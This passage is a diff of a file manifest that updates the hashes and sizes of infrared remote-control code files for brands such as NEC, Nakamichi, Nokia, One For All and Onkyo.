+F:f081a443b35328f0d8d0374ddceb13c8:2464:infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir +F:915215be7c55c775b411f4e811a55692:2563:infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir +F:067679fa3ba4dab300b3eb40048bae0f:2951:infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir +F:d2537637b2c349cc3a49ce2e10d2ee29:3285:infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir +F:6fc80a23b7bba8b9bfc655b92093be41:1401:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir +F:f08a7d39936dd3ffa303f00ca3caea08:2893:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir +F:4e2943bde2cf41ca06dede7355787cda:1363:infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir +F:02f9e0c657fe1d3410a9be537969e6e8:12099:infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir +F:4eaa40ea494b5b3f1c787c7362c5279c:3232:infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir +F:113a2c6343cf5dbe6fa17859315f002c:11612:infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir +F:4dea451acf9f446e150de4c85434aff3:7612:infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir D:infrared/_CSV-IRDB_/NET TV/TV -F:c5cf9176ccc84856bbebe7821349dae7:2724:infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir +F:65387687c70b79fd824870dc3444a6df:2548:infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir D:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N -F:de55d527d929bd240c46748fe823473d:3570:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir +F:d6dfabfef78777a26f774f8d6cb27da7:3346:infrared/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir D:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal -F:586959bde78314a1cb1f878718bd1818:3272:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir +F:4cb5c1f61d5f8391a1c08496bdf4e1eb:3066:infrared/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir D:infrared/_CSV-IRDB_/Nagra/Unknown_TVA -F:378ebd14715504860c9d14fa2cefccdf:3327:infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir +F:3280b4f4ec8ed385192ca995278bbf80:3115:infrared/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir D:infrared/_CSV-IRDB_/Nakamichi/Amplifier D:infrared/_CSV-IRDB_/Nakamichi/CD Player D:infrared/_CSV-IRDB_/Nakamichi/DVD Player D:infrared/_CSV-IRDB_/Nakamichi/Receiver D:infrared/_CSV-IRDB_/Nakamichi/Tuner D:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config -F:d8714d69af16e3e16f536a100df81b6f:8171:infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir -F:bac6ed77c079c27bfa36156ef1bfd9ef:11222:infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir -F:5b1cbd5ad049fbc9f4642cda668fc90f:410:infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir -F:933047a88aafb4e8db5a011de8b27d09:3420:infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir -F:18e1fe3c8c3434d234ff850bcd78c1f5:2904:infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir -F:000bdb40b1133dbbfd8c12090bf508a6:9441:infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir -F:6847af53c979ef7cd736e10cd063f75d:4311:infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir -F:829ceca4edc44e61413fef1ccf04869f:8656:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir -F:50e9497f3a2474775ed481f8219944a4:2306:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir -F:1dbee76480d993959c5826a935b16044:983:infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir -F:70003c84d773a9c18dd6fff0f0651455:2254:infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir -F:fb6fe39e0025cf28cd66115acfdbb2bf:2296:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir +F:eac616ca5d18797c0c0a37ea921cb509:7677:infrared/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir +F:82b572424351c24527f83efd1c2e6bee:10518:infrared/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir +F:e3741d63a499ac54906c9f082f20f788:384:infrared/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir +F:f061d2d9a9162f140e0f1732aa00286b:3202:infrared/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir +F:4a3a0e128383bae2b3a10ec6f553ba6a:2722:infrared/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir +F:525b436214d612bf3e1d13dd5c602733:8869:infrared/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir +F:a4a34050dc6c54edef486f480c9bad1f:4039:infrared/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir +F:4a9fc8e84e5bbf44189d3cfa238dfc28:8120:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir +F:ba787f176867cb23a5f0843b7b774974:2166:infrared/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir +F:c74a12f862b0fab5b4a48ed3340b493b:921:infrared/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir +F:6d69a69b69b524dfbe66ebf756542fcc:2114:infrared/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir +F:45a747038b42867e221dd27b0e8e42d3:2150:infrared/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir D:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309 -F:17f94c8de42c7ab960a2428603b56655:3060:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir +F:e697166fdeff3d2d0380204b6e4b839d:2866:infrared/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir D:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB -F:8ee2aa7db02816bf8c7e8a61e071f70d:5249:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir +F:f1de39f1272e83239dc31fe59b8846aa:4917:infrared/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir D:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer -F:59adea4e9c5f9277b8588c33d6a2f1e5:3211:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir +F:509f4707849761941616a0d8f3e0f9dd:3011:infrared/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir D:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300 -F:df5fba371a8ead7195436cba980b17f3:2382:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir +F:61c8e3c4c111b947e2a84b69651dfa20:2230:infrared/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir D:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko -F:d80b25cb51efdd25083cbb725fb49520:1549:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir +F:0564381dfffaa8f8727ce094b7c5328b:1451:infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir D:infrared/_CSV-IRDB_/Niles Audio/Unknown -F:7144d803bf3323d3b8e53c056d600070:6416:infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir -F:723b40e2ee267b5c67c984cf9f9b80fe:784:infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir +F:64d1b140505ba4da90e199f443c977f9:6000:infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir +F:01c65d3f105ba7c58cabf9218fca229e:734:infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir D:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001 -F:a1351fc8e2ef10b98f0c03f52c8c4b43:2026:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir +F:76db732fa0a71449cfd816a5f826fd5b:1898:infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir D:infrared/_CSV-IRDB_/Nokia/Satellite D:infrared/_CSV-IRDB_/Nokia/Unknown_624 D:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S @@ -4285,34 +4285,34 @@ D:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620 D:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610 D:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620 D:infrared/_CSV-IRDB_/Nokia/Unknown_VCR -F:58715430f646e95df08ffaf430c700c5:387:infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir -F:842d59f019e0a1272c8ac7c4c119fd68:397:infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir -F:91f7ff2b8fb9672987758501ab677297:2488:infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir -F:01c83b4d97511ccc9fb7b0b22ddff4af:3041:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir -F:8de05dc6808aa174dc6027602d59264f:2552:infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir -F:7c6fb0d0e102d99c0aebd883522e91c1:2664:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir -F:11125f5def66ecb66ca01591bb874d81:3014:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir -F:5ed43d9a7c5f74d70b385471c63363c2:2672:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir -F:a08347b7aa9424eb773388a147e8419f:2877:infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir +F:c20a6b09c93d4052f93c02420d46d2df:361:infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir +F:0dc9707754dbcfe86084c78497d67b19:371:infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir +F:972c86d7a19192d363a9f893d5367830:2324:infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir +F:3caea58aa529eaa99b38657e5d0b7db8:2841:infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir +F:cb4aea54b45b7c9cef7acde0fb8f1401:2382:infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir +F:cc430f3f43435a88102639c563d65ea8:2494:infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir +F:94adba06dad4df10254d34b2f59a0dca:2814:infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir +F:c479d1e9889163d555350ef5ca316e06:2502:infrared/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir +F:af9bf0850698871b1938dd703e6fa726:2695:infrared/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir D:infrared/_CSV-IRDB_/Norcent/Unknown_DP -F:21f9b49b3a76a2ae9e9e062fe7de2bfa:4282:infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir +F:7209c0ca79fd771c313085eaf5ba8dc4:4010:infrared/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir D:infrared/_CSV-IRDB_/NorthQ/Unknown_6400 -F:4817aa52263f2e8a5c93def020176974:4221:infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir +F:f60f8799c257cc372b5662c89742511f:3955:infrared/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir D:infrared/_CSV-IRDB_/Novaplex/Cable Box -F:540caa73c69995d80d20400075a5e7fd:2126:infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir +F:45f2a2d7a21c005e0bebb0ce4a95aac5:1986:infrared/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir D:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband -F:880277839db03c783b9d86cc52370ea7:4198:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir -F:fa6ccd6365a7b04d33b8416d9b165b12:4234:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir +F:0c342ce31161269a0e0293da1f382629:3932:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir +F:0435984d842b59c4aa8255aeab991782:3968:infrared/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir D:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM -F:f39b22710aafe2350cc58e9e8166e3dd:132:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir +F:c69f3d66640958b7bd1c6a85a8e0b89a:124:infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir D:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN D:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL -F:0b34d5ec8765b706749a5dd25f895fc0:2415:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir -F:4bb9abf51d4bba49adbb8b2470bfc1f2:3370:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir +F:20ef5fd75536cde2392d7c3e2d165d41:2263:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir +F:a36f4d7995dba9f74e80b97b5f9c7ac7:3158:infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir D:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1 D:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2 -F:3a9be5e778207c431c8b8428afaf06f5:512:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir -F:4c38de5749b9f7dc269d7f4b470491c0:133:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir +F:49dbe35103dff24615739b5acbe5f162:480:infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir +F:58dafb14d2a191192df4504f24a52e2d:125:infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir D:infrared/_CSV-IRDB_/One For All/Unknown_7720 D:infrared/_CSV-IRDB_/One For All/Unknown_For D:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All @@ -4336,34 +4336,34 @@ D:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d D:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150 D:infrared/_CSV-IRDB_/One For All/Unknown_urc7562 D:infrared/_CSV-IRDB_/One For All/Unknown_urc7730 -F:1a5e266cb234ea630fb36274b538d775:3259:infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir -F:1fa3609df24f64eb3d0af4958e28a203:3635:infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir -F:980a3d2faa400ab38072282fb00008b7:7332:infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir -F:6235af25a6c2c8353eb0b152fd80c4ef:6004:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir -F:768d1ad92ef275c51f5b488d234b8575:3353:infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir -F:f27b88e2d9b3fa4aecf8fa5545ffaa62:3271:infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir -F:b4d26e10170e433c92946f0a6e5fe1f9:632:infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir -F:8588ededb237960393a441242bf794bb:3055:infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir -F:bff9b583db20c22711209d311ff11cf7:2570:infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir -F:b2ad46312c3238d813567f9b18ab6739:2948:infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir -F:defa1a7e42624dc90634aa23a961f907:3090:infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir -F:e229214a307bdb41d091d454ba93647e:3159:infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir -F:2be1adc07fd16295f6ecd0a864f9e334:3264:infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir -F:4cd0ffbd45e18a362393f83bfd755941:2394:infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir -F:5150aa21a9ae7caf35f1c89b7d6de3e6:4221:infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir -F:217dc507b93ec239ae47f3638a388275:3807:infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir -F:6922143d86da23429dccc4c16aee6ab1:3218:infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir -F:7bcb7deb72e555bf289c595df77a3a2e:3358:infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir -F:e4956c5acbbeb0fdfb097e58f6691a50:3452:infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir -F:b9f6789004e6f3db2ce98ae9680c55ea:3662:infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir -F:235cdecbf94d13063cf092d2d9a67f80:3541:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir -F:77ea70808656910b71e952d43457281b:2971:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir -F:f9640ce9948e175972691f0d0f58a962:2972:infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir -F:ae53c2fb6ba8c5f8c65db056bf1c12de:3259:infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir +F:ddcd7729097b2edc0adb6d4b66475216:3053:infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir +F:9424c92a75cb0e392df16c5ff2ef752a:3405:infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir +F:3603c9b5db195dfcd932f39f962e8a6e:6868:infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir +F:7f76c97274996bcf14b22a45cf9123e0:5624:infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir +F:989b744a453d42053ac5dbb1f2ca8209:3141:infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir +F:bfeb3e45616c0365f8470ff793dcd449:3065:infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir +F:c49d46ea8983120eceffd006f7063f1e:594:infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir +F:e2ba173c600c5de0561d4b021263c231:2861:infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir +F:fadc10618ac6a441bcc9ab21c10ae3a7:2406:infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir +F:873f12dbd5fa289261a92c0fcfdae06e:2760:infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir +F:35ad296478d06a8a68b867a2c87dbdf2:2896:infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir +F:bb67afe3b7f8e534ade74a1a8f63fa98:2959:infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir +F:4e9f6cb93546546879acc71e972140e0:3058:infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir +F:713943551364e50d680a8f038ece300a:2242:infrared/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir +F:1eef5c856e3ca7fa71ec01f7914c5845:3955:infrared/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir +F:2e69f7660116ec4613cd149ba01eb60f:3565:infrared/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir +F:7e8dac714dc54eb4c09d2c32d3f8a85b:3012:infrared/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir +F:f62b534a814410581544a1019318d26b:3146:infrared/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir +F:bd1fb2553cb8206517119fea86cdf8a3:3234:infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir +F:8ac08f6bce9f972674e1b13bca8d57b3:3432:infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir +F:9b08b64ab845c5a3494ee6511ba30ec4:3317:infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir +F:7a0b53b0139f318748a44276db177055:2783:infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir +F:0e9ccacc8cc06b11af50cbf44795f0c1:2784:infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir +F:611c3b16644ef64878e827e18ba08459:3053:infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir D:infrared/_CSV-IRDB_/Onida/Unknown_DFX D:infrared/_CSV-IRDB_/Onida/Unknown_TVE -F:7445d163caee30e9499353f38acdaf61:4580:infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir -F:8e75be94f524fc1dc645d0bce4a9b679:2682:infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir +F:89aaa9ad7bd3abb5ed9a6dab2e4ad270:4290:infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir +F:21a43b94a2e589b0ced3e1f0bc42bb30:2512:infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir D:infrared/_CSV-IRDB_/Onkyo/Amplifier D:infrared/_CSV-IRDB_/Onkyo/CD Player D:infrared/_CSV-IRDB_/Onkyo/Cassette Tape @@ -4382,48 +4382,48 @@ D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50 D:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M D:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s D:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s -F:be0855172de0eaa9f5aacebab57cb211:321:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir -F:d91c806dc0c129261c72948740bf1726:7600:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir -F:583aaaa9f16be8ca9c4214aca1986fe5:2145:infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir -F:8c65b4ac02b63bfaa3d89f818552b03e:3356:infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir -F:e9ec20e06f46b704328941a3ade6e5fc:5774:infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir -F:5c097890a68f044800a35f9a63eae964:6058:infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir -F:4d7135e2b2e8c084b8eb58817b7db2d4:4398:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir -F:2cc1ad1ba8243dc85b21f3f11295a84a:898:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir -F:91912623e3547244693ff75cb156c551:3915:infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir -F:637fc7c3cc2131f4f1dffd1e3b33f567:135:infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir -F:8c75257c25cf38a2139ea261214bb346:3367:infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir -F:47ab27d0ec07b8343e0bbf54c56a64eb:2621:infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir -F:098faa168c5a73e5bc1b305b4590af03:25194:infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir -F:6429531e8da0f0e25d3d1266c747b1b5:2970:infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir -F:36d839c4c90b2d91dceabde4e131a503:5250:infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir -F:b2cf2a570ff64ee4f6627a41047a6c38:9973:infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir -F:8ea13a76b89ca25684a997c856272724:2898:infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir -F:142af6bf25481d290f95eca2037212da:2999:infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir -F:d954fa2a80820fabc33f160e342dfa2a:2303:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir -F:a6ceec1d562a9d4126e2068fa348f560:3087:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir -F:c72831ba2ce4289bb972f4a4e7c8d60a:2675:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir -F:786cda15f3304b372b25d39654b5b83b:2017:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir -F:e22f94b7c803907555c4a0e109b1caaa:908:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir -F:5eb9f21c303c9a0a893f82a85da48fa3:428:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir -F:2d71c97c7df0c7d2c5a228eff101e31c:5146:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir -F:1882f6a4d5f0da1987720f9d0b3528cb:2194:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir -F:6642e231f777520e947d3b3e71aec9ac:3437:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir -F:611cb79c40ddbeaa10b8e101494078df:3846:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir -F:8cb0af1170959146910cf34f8f0e3d95:4687:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir +F:62d01ed77c9c3322a15481b0f6a7a715:301:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir +F:0853498a8fc5cf688c9905660a347805:7130:infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir +F:519ca72ebaed27b8aad06eb976d803fd:2005:infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir +F:a87a18b7db037b82026694c846990853:3150:infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir +F:31bab011a63f1f9676a165b461db2c51:5418:infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir +F:41f744be10c35c428c88bc3393fa6a2b:5678:infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir +F:a384bcb9a097d6208c37c681c3d71ae5:4132:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir +F:cdd2ef6254c77b4ead9cd19196000d4f:842:infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir +F:b7bb1f035e14602e8751a02fd649659f:3661:infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir +F:c54f63de8ad5da5df471a5b73c37bb9e:127:infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir +F:362f1481338309caaff5ca0c75917240:3155:infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir +F:3e1399fbe51042661e19c80d128c643b:2457:infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir +F:17d53f55e1cffb5afa3d794cd6d09f93:23656:infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir +F:1d5d9f2ef5b74f916e7517f188c5097a:2788:infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir +F:c1ea25b9a8dce9b9946311409a59bbdc:4906:infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir +F:da08ee62cab4d42533b8ec254b5e9aef:9359:infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir +F:607c83d4cd418aa2cf1170699cdca0d0:2710:infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir +F:0c0f392e9cd389669aa9e159dd17b5ae:2823:infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir +F:6eb79f6e39483a9b1776d2ec0a823c52:2157:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir +F:c7591ea8d0b4c420593c0652c3d28966:2899:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir +F:2560208a0713fe3a5f0ea55788efefe6:2505:infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir +F:4550984d4f4a3fb4909824631c134cbd:1889:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir +F:abee6b5ac7d17e9a9ffe4010e4f07c27:852:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir +F:5a6283b6d5fa6990d83f87b6ee955410:402:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir +F:4256d1f818579c5030df89e4a73dd543:4820:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir +F:aab99631abc93ccf6e67a6ffd31dc222:2054:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir +F:76ec94974c86aea7e5eac073c38c146e:3219:infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir +F:0674650a03547b953a047ceee057305f:3616:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir +F:82538c49d4e70376561f88b1fd1dc5f5:4409:infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir D:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer D:infrared/_CSV-IRDB_/Onkyo Integra/Receiver -F:129fff285435bd915a9153ba529e8996:4684:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir -F:d0ca60e9bf7c2a847ac95bf8b791f5de:1073:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir -F:91d39769960defeb944ce16db0fc1899:1922:infrared/_CSV-IRDB_/Onkyo 